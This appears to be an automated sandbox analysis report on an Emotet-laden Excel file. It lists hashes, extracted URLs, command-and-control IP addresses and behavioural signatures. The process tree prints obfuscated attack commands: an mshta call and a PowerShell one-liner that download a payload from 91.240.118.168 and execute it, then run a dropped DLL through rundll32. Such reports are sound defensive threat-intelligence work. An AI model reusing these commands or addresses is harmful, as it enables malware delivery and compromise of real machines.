Analysis
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max time kernel
120s -
max time network
165s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 03:22
Behavioral task
behavioral1
Sample
tmphaf9wzce.xls
Resource
win7-en-20211208
General
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Target
tmphaf9wzce.xls
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Size
36KB
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MD5
b2ff7975fc16c578027e87cc2d63efd5
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SHA1
c3e163b2127f7fbf8de65045ed1e82f391e66582
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SHA256
aaa8079a9c9eda6f8fa98f7a71800ec53a5e639df2c8a29b376f0cc7c3bd7d40
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SHA512
a3b1f24c39a8b20d1c88a942681b0430ef3e4c2eae14917437ad97fa34def7e116d46aa5055417ab849650cb9db6309fc466a6f3ee2ecf24469ea192aed15f46
Malware Config
Extracted
http://91.240.118.168/oo/aa/se.html
Extracted
http://91.240.118.168/oo/aa/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 792 944 CMD.EXE EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 4 808 mshta.exe 5 1832 powershell.exe 7 1832 powershell.exe 9 1832 powershell.exe 11 272 rundll32.exe 13 272 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1356 rundll32.exe 1356 rundll32.exe 1356 rundll32.exe 1356 rundll32.exe 948 rundll32.exe 948 rundll32.exe 948 rundll32.exe 948 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Rytsy\plle.nhf rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEmshta.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 944 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exerundll32.exepid process 1832 powershell.exe 272 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1832 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 944 EXCEL.EXE 944 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
EXCEL.EXEpid process 944 EXCEL.EXE 944 EXCEL.EXE 944 EXCEL.EXE 944 EXCEL.EXE 944 EXCEL.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 944 wrote to memory of 792 944 EXCEL.EXE CMD.EXE PID 944 wrote to memory of 792 944 EXCEL.EXE CMD.EXE PID 944 wrote to memory of 792 944 EXCEL.EXE CMD.EXE PID 944 wrote to memory of 792 944 EXCEL.EXE CMD.EXE PID 792 wrote to memory of 808 792 CMD.EXE mshta.exe PID 792 wrote to memory of 808 792 CMD.EXE mshta.exe PID 792 wrote to memory of 808 792 CMD.EXE mshta.exe PID 792 wrote to memory of 808 792 CMD.EXE mshta.exe PID 808 wrote to memory of 1832 808 mshta.exe powershell.exe PID 808 wrote to memory of 1832 808 mshta.exe powershell.exe PID 808 wrote to memory of 1832 808 mshta.exe powershell.exe PID 808 wrote to memory of 1832 808 mshta.exe powershell.exe PID 1832 wrote to memory of 1952 1832 powershell.exe cmd.exe PID 1832 wrote to memory of 1952 1832 powershell.exe cmd.exe PID 1832 wrote to memory of 1952 1832 powershell.exe cmd.exe PID 1832 wrote to memory of 1952 1832 powershell.exe cmd.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1952 wrote to memory of 1356 1952 cmd.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 1356 wrote to memory of 948 1356 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 948 wrote to memory of 952 948 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe PID 952 wrote to memory of 272 952 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmphaf9wzce.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta http://91.240.118.168/oo/aa/se.html3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rytsy\plle.nhf",KZiJb8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rytsy\plle.nhf",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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memory/272-100-0x0000000002030000-0x0000000002057000-memory.dmpFilesize
156KB
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memory/272-96-0x00000000001A0000-0x00000000001C7000-memory.dmpFilesize
156KB
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memory/272-114-0x0000000002B40000-0x0000000002B67000-memory.dmpFilesize
156KB
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memory/272-113-0x0000000002A00000-0x0000000002A27000-memory.dmpFilesize
156KB
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memory/272-110-0x0000000002960000-0x0000000002987000-memory.dmpFilesize
156KB
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memory/272-108-0x00000000028B0000-0x00000000028D7000-memory.dmpFilesize
156KB
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memory/272-106-0x0000000002760000-0x0000000002787000-memory.dmpFilesize
156KB
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memory/272-104-0x0000000002280000-0x00000000022A7000-memory.dmpFilesize
156KB
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memory/272-102-0x0000000002130000-0x0000000002157000-memory.dmpFilesize
156KB
